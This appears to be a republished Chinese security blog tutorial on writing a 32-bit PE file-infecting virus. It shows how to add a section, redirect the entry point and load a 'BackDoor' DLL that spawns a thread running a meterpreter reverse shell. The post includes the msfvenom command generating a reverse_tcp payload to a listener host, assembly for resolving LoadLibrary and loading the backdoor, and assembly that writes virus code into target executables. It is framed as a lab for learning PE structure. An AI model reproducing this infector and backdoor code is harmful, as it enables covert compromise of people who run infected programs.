PE 病毒与 msf 奇遇记

本文作者:x-encounter

0x01 PE 病毒简介

通俗的讲,PE 病毒就是感染 PE 文件的病毒,通过修改可执行文件的代码中程序入口地址,变为恶意代码的的入口,导致程序运行时执行恶意代码。

我们学习 PE 病毒的目的是为了深入了解 32 位的 PE 结构。

git 链接(上一期的也上传了):

https://github.com/x-encounter/C-code

网盘链接(附带两张图,一个描述各字段偏移的 word 文档):

https://pan.baidu.com/s/1BCDpctJ_EDBdZC7rLF5Twg

老规矩,两张图介绍一下 PE 文件(图片会放到网盘中供大家下载)

这是一张偏移的

这是一张树形的

加上我讲 IAT 时候的一张,一共三张图,对于学习 PE 结构来讲已经够了

0x02 OEP 介绍

OEP 即程序的入口点。为了使 PE 文件执行我们的恶意数据,我们需要修改 OEP,为了不影响受感染 PE 文件的正常运行,我们需要在恶意代码的末尾添加跳转指令跳到原始的 OEP。

OEP 计算公式为:

OEP=OptionalHeader.ImageBase+OptionalHeader.AddressOfEntryPoint

以 Dbgview.exe 为例

OEP=00400000+00015757=00415757

OD 载入 Dbgview.exe

验证我们的计算结果是正确的。

0x03 PE 病毒编写思路

我们的目的是在 PE 文件中添加一个节区,并将 shellcode 插入该数据中,并修改 OEP

1、新建一个节表头,写入各项数据,属性设置为可读可写可执行(SectionHeader.Characteristics = 0xE0000020)

2、修改 optionheader 中 SizeofCode 字段的大小

3、修改 optionheader 中 SizeOfImage 字段的大小

4、修改 fileheader 中 NumberOfSections 的大小

5、向节表数据中写入数据

6、修改 OEP

实验环境

攻击机:kalilinux 生成 32 位反弹 shellcode 目标主机:32 位 winxp、32 位 PE 病毒、32 位目标程序,反弹连接成功 IDE:Vc++6.0

首先获取该 PE 文件的 DOS 头,NT 头,节表头,获取方法在我讲 IAT 那一期已经提过了,一共三种方法,我选择的是通过 fopen,fseek,fread 获取。忘了的话可以前去考古……

节表头的数据结构如下:

 typedef struct _IMAGE_SECTION_HEADER {  BYTE    Name[IMAGE_SIZEOF_SHORT_NAME];  union {      DWORD   PhysicalAddress;      DWORD   VirtualSize; //实际的节表项大小  } Misc;  DWORD   VirtualAddress;//载入内存后的RVA,内存对齐  DWORD   SizeOfRawData;//在磁盘上的大小,文件对齐  DWORD   PointerToRawData;//在文件上的偏移地址  DWORD   PointerToRelocations;  DWORD   PointerToLinenumbers;  WORD    NumberOfRelocations;  WORD    NumberOfLinenumbers;  DWORD   Characteristics;//节表项属性} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

难点在设置新节表头的各项数据需要考虑到对齐,这里要牵扯到内存对齐和文件对齐的概念,在 PE 文件 OptionHeader 中 SectionAlignment 代表节表装入内存后的对齐值、而 FileAlignment 代表节表在文件中的对齐值。

通常情况下 SectionAlignment 的值为 0x1000,也就是 4KB 大小因为 windows 操作系统的内存分页一般为 4KB,FileAlignment 的值一般为 0x200,也就是 512 字节因为磁盘一个扇区即 512 字节

这里插一句题外话,一般情况下,正常的节区 VirtualSize 是小于 SizeOfRawData 的,windows 使用 VirtualSize 和 SizeOfRawData 中的最小值来载入节区数据。但是在 OD1.1 版本中,仅使用 SizeOfRawData 作为节区数据载入大小的标准,当我们把 SizeOfRawData 手动设置为 0x77777777 时,OD1.1 会产生崩溃。OD2 已经修复。

对齐的代码如下:

 //对齐边界int Align(int size, int ALIGN_BASE){    int ret;    int result;    assert( 0 != ALIGN_BASE );     result = size % ALIGN_BASE;    if (0 != result)    //余数不为零,也就是没有整除    {        ret = ((size / ALIGN_BASE) + 1) * ALIGN_BASE;    }    else    {        ret = size;    }    return ret;}   

下一个难点是向节表中插入 shellcode,先用 msf 的 msfvenom 模块生成一个反弹 shell,端口为 1234。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=1234 -f c

在代码中通过 fwrite 函数将生成的 shellcode 添加到新节区中,然后运行病毒,感染 Dbgview.exe 生成一个 Dbgview.exe.exe 的病毒文件,同时 kalilinux 使用 exploit/multi/handler 模块进行监听,在 xp 上运行病毒文件

在 msf 中已经获得 session,可以进行控制了

但是这有一个问题,感染后的程序并没有正常打开,这不是我们想要的,我们理想中的情景应该是程序正常打开,并且还能向 kalilinux 反弹一个连接。造成程序没有打开的原因是:当我们修改 OEP 指向 shellcode 之后,该程序的主线程就是 shellcode 执行的内容,由于这一段 shellcode 是死循环,所以我们在 shellcode 最后加上跳转到原 OEP 的 jmp 指令也无济于事

解决方法:

1、逆向 createThread 函数,修改 shellcode 使 shellcode 在运行时先执行 createThread 将反弹连接作为回调函数放在一个子线程中,调用完 createThread 之后直接 jmp 到原 OEP 即可。

2、我们可以将 shellcode 分两个阶段执行,第一阶段将载入 dll 的 shellcode 和 jmp 原 OEP 的指令添加到新节区中,程序一开始运行就载入我们已经写好的 DLL,第二阶段在 DLL 中调用 createThread 函数使反弹连接的 shellcode作 为子线程的回调函数,当 DLL 被载入执行即可。

我选择第二种

载入 DLL 的汇编语言

      pushad    ;获取kernel32.dll的基址        mov eax, fs:0x30     ;PEB的地址        mov eax, [eax + 0x0c]        mov esi, [eax + 0x1c]        lodsd        mov eax, [eax + 0x08] ;eax就是kernel32.dll的基址        mov edi, eax    ;同时保存kernel32.dll的基址到edi        ;通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址        mov ebp, eax        mov eax, [ebp + 3ch]        mov edx, [ebp + eax + 78h]        add edx, ebp        mov ecx, [edx + 18h]        mov ebx, [edx + 20h]        add ebx, ebpsearch:        dec ecx        mov esi, [ebx + ecx * 4]        add esi, ebp        mov eax, 0x50746547        cmp [esi], eax      ;比较"PteG"        jne search        mov eax, 0x41636f72        cmp [esi + 4], eax        jne search        mov ebx, [edx + 24h]        add ebx, ebp        mov cx, [ebx + ecx * 2]        mov ebx, [edx + 1ch]        add ebx, ebp        mov eax, [ebx + ecx * 4]        add eax, ebp        ;eax保存的就是GetProcAddress的地址        ;为局部变量分配空间        push ebp        sub esp, 50h        mov ebp, esp        ;查找LoadLibrary的地址  LoadLibraryA        mov [ebp + 40h], eax    ;把GetProcAddress的地址保存到ebp + 40中        ;开始查找LoadLibrary的地址, 先构造"LoadLibrary \0"        push 0x0    ;即'\0'        push DWORD PTR 0x41797261        push DWORD PTR 0x7262694c        push DWORD PTR 0x64616f4c        push esp    ;压入"LoadLibrary\0"的地址        push edi    ;edi:kernel32的基址        call [ebp + 40h]    ;返回值(即LoadLibrary的地址)保存在eax中        mov [ebp + 44h], eax    ;保存LoadLibrary的地址到ebp + 44h        push 0x0        push DWORD PTR 0x726f6f44   ;"Door"        push DWORD PTR 0x6b636142   ;"Back"        push esp                    ;字符串"BackDoor"的地址        call [ebp + 44h]    ;或者call eax        mov esp, ebp        add esp, 0x50        popad

DLL 的结构如下:

将该 dll,感染程序,被感染程序放在一个目录下,运行

如下图:

程序正常打开

shell 反弹成功

0x04 原理分析

将 Release 版的 LoadBackDoor.exe 拖入到 IDA 中,转到 main() 函数

发现一开始程序对参数进行了判断,如果 argv[1] 等于空就退出

紧接着调用 CopyFile,在 CopyFile 上面出现了 .exe 的字符串,可能程序会复制目标程序,并在原来名称的基础上再加 .exe,紧接着调用 fopen 打开新复制的 exe 文件

后面多次调用 fseek 和 fread 函数,通过调用失败时的输出我们可以发现,这是对 PE 文件的有效性进行检验,一般检验 PE 有效性判断开头是不是 MZ,NT 头开头是不是 PE 即可。这里我们可以仔细分析,在 IDA 中添加 IMAGE_DOS_HEADER 和 IMAGE_NT_HEADERS 的结构体,将数据转化一下,如图:

一目了然,此时 var_19C 变量是指向 NTheader 的指针,接着往下看

接着使用偏移的方式赋值,var_196 是 var_19C 偏移 6 的位置,也就是 NT 头偏移 6 字节的位置,我们通过对照表(会放到网盘中供大家下载)可以判断 var_196 是指向 FileHeader 中 NumberOfSections 的指针,以此类推,var_160 是指向 FileHeader 中 FileAlignment 的指针,var_164 是指向 FileHeader 中 SectionAlignment 的指针,var_174 是指向 FileHeader 中 AddressOfEntryPoint 的指针。接着将 var_19C 的值赋给 var_2C,作为循环的判断标准使 var_A4 的值指向最后一个 SectionHeader。

var_28 的值等于 var_160 指向 FileAlignment,作为参数入栈,调用 00401253 处的 call sub_401000,转到该函数领空,按下 F5 键反编译

应该就是对齐的代码了,因为 FileAlignment 作为参数,所以该操作为文件对齐,退出该函数

我们还可以看到调用 strncpy,.ngaut 很有可能就是新建节区的名字了,下面有一大堆对齐函数的调用,肯定是在初始化新节区中的各项数据并对齐,接下来通过 fwrite 函数写入节表头,我就不一一分析了

引起我们注意的是 main 函数的末尾实现了一个无条件的跳转,我们跟进去

发现 sub_401450 处的代码很可疑接着跟进去

只看字符串,我们就可以推测出该函数主要是动态获取 LoadLibrary 和 GetProcAddress 两个函数地址并加载 BackDoor.dll,退出该函数,接着分析

在第一个 fwrite 前面发现了 E9,而且第二次 fwrite 中内容的大小为 4,说明这两个 fwrite 的目的是写入类似于:

jmp address

address 是原 OEP,说明在写入的 shellcode 末尾加了一段无条件跳转,跳向原来程序入口处。

接下来我们把 BackDoor.dll,载入 IDA,看看该 DLL 做了什么

创建了一个线程,转到回调函数中

给 unk_10006030 分配空间,并压栈,转到 unk_10006030,按下 c 键

发现是一段 shellcode,将 shellcode 提取出来放到 scdbg 中分析

我们可以得到该 shellcode 的行为,发起到 IP 地址为 192.168.1.105,端口号为 1234 的连接

分析完毕。

0x05 番外篇:通过汇编写 PE 病毒

本人的汇编是处在能看懂和能模仿的水平,也不放全部代码了,只给大家提供一种思路,假设你已得到目标程序的基址

 ;获取到最后一个节表头        mov [ebp+pe_Header],esi                               ;保存pe_Header指针         mov ecx,[esi+74h]                                     ;得到directory的数目         imul ecx,ecx,8         lea eax,[ecx+esi+78h]                            ;eax=data directory结束地址=节表起始地址         movzx ecx,word ptr [esi+6h]                           ;节数目         imul ecx,ecx,28h                                      ;得到所有节表的大小         add eax,ecx                                           ;节结尾        xchg eax,esi                         ;eax->Pe_header,esi->最后节开始偏移(即病毒节开始处)        mov dword ptr [esi],'.ngaut'                              ;节名.ngaut        mov dword ptr [esi+8],Len                            ;节的实际大小 ;接下来对新节区的各个值进行对齐        mov ebx,[eax+38h]                                     ;节对齐,在内存中节的对齐粒度         mov [ebp+sec_align],ebx        mov edi,[eax+3ch]                                     ;文件对齐,在文件中节的对齐粒度        mov [ebp+file_align],edi        mov ecx,[esi-40+0ch]                           ;上一节的V.addr 40=28H(每个节表大小为28H)        mov eax,[esi-40+8]                                    ;上一节的实际大小         xor edx,edx         div ebx                                               ;除以节对齐         test edx,edx         je loc1        inc eax loc1:         mul ebx                                               ;上一节在内存中对齐后的节大小         add eax,ecx                                   ;加上上一节的V.addr就是新节的起始V.addr         mov [esi+0ch],eax                                     ;保存新section偏移RVA         add eax,Start-Begin                       ;病毒第一行执行代码,并不是在病毒节的起始处        mov [ebp+newEip],eax                                  ;计算新的eip         mov dword ptr [esi+24h],0E0000020h                    ;节属性         mov eax,Len                                      ;计算SizeOfRawData的大小         cdq                                          ;方便除法计算,将EDX所有位设成EAX的最高位        div edi                                               ;计算本节的文件对齐         je loc2        inc eax loc2:         mul edi         mov dword ptr [esi+10h],eax                           ;保存节对齐文件后的大小        mov eax,[esi-40+14h]         add eax,[esi-40+10h]         mov [esi+14h],eax                                     ;PointerToRawData更新        mov [ebp+oldEnd],eax                                  ;病毒代码往HOST文件中的写入点         mov eax,[ebp+pe_Header]         inc word ptr [eax+6h]                                 ;更新节数目         mov ebx,[eax+28h]                                     ;eip指针偏移         mov [ebp+oldEip],ebx                                  ;保存老指针         mov ebx,[ebp+newEip]                                  ;使HOST程序首先执行病毒程序         mov [eax+28h],ebx                                     ;更新指针值         mov ebx,[eax+50h]                                     ;更新ImageSize         add ebx,VirusLen         mov ecx,[ebp+sec_align]        xor edx,edx         xchg eax,ebx         cdq         div ecx         test edx,edx         je loc3        inc eax loc3:        mul ecx         xchg eax,ebx                                          ;还原 eax->pe_Header            mov [eax+50h],ebx       ;确保更新后的Image_Size大小=(原Image_size+病毒长度)对齐后的长度         cld        mov ecx,Len        mov edi,[ebp+oldEnd]        add edi,[ebp+pMem]        lea esi,[ebp+Begin]        rep movsb   ;将病毒代码写入目标文件新建的节中!

0x06 小结

还有一种利用思路是通过将恶意代码插入 PE 文件节与节的空隙中实现的,这种方法不光要考虑对齐,还要考虑 RVA 和 offset 的转换,由于节与节之间的间隙不是很大,所以我们不能够插入反弹 shell 这一类的 shellcode,可以考虑 URLDownloadToFile 和 Winexec 这两个 API。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-04-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏逆向技术

16位汇编第三讲 分段存储管理思想

      内存分段 一丶分段(汇编指令分段) 1.为什么分段?   因为分段是为了更好的管理数据和代码,就好比C语言为什么会有内存4区一样,否则汇编代码都写...

21760
来自专栏技术小讲堂

Entity Framework4.3 Code-First基于代码的数据迁移讲解1.建立一个最初的模型和数据库   2.启动Migration(数据迁移)3.第一个数据迁移4.订制的数据迁移4.动态

前段时间一直在研究Entity Framework4,但是苦于没有找到我特别中意的教程,要么就是千篇一律的文章,而且写的特别简单,可以说,糟践了微软这么牛埃克斯...

35180
来自专栏黑白安全

Msfvenom参考总结

metasploit-framework旗下的msfpayload(荷载生成器),msfencoder(编码器)

11730
来自专栏MasiMaro 的技术博文

Windows资源

Windows资源是一种二进制数据,由链接器链接进程序成为程序的一部分,通过资源的方式可以很方便的对应用程序进行扩展。在Windows中资源可以是系统自定义的,...

20610
来自专栏有趣的django

37.Django1.11.6文档

第一步 入门 检查版本 python -m django --version 创建第一个项目 django-admin startproject mysite ...

50680
来自专栏柠檬先生

vuex 使用文档

安装 直接下载CDN 引用   <script src="/path/to/vue.js"></script>   <script src="/path/to/...

614100
来自专栏红色石头的机器学习之路

Jupyter notebook入门教程(上)

本文将分上下两部分简单介绍Jupyter notebook的入门教程,英文原文出处: Getting started with the Jupyter note...

41300
来自专栏量化投资与机器学习

【精心解读】关于Jupyter Notebook的28个技巧

Jupyter具有很强的可扩展性,支持许多编程语言,可以很容易地托管在计算机上或几乎所有的服务器上,只需要拥有ssh或http访问权限。 最重要的是,它是完全免...

2.1K70
来自专栏我的技术专栏

Socket编程(4)TCP粘包问题及解决方案

13530
来自专栏分布式系统和大数据处理

从一个范例看XML的应用

如果你已经看了《Asp.Net Ajax的两种基本开发模式》 这篇文章,你可能很快会发现这样一个问题:在那篇文章的方式2中,客户端仅仅是发送了页面上一个文本框的...

13440

扫码关注云+社区

领取腾讯云代金券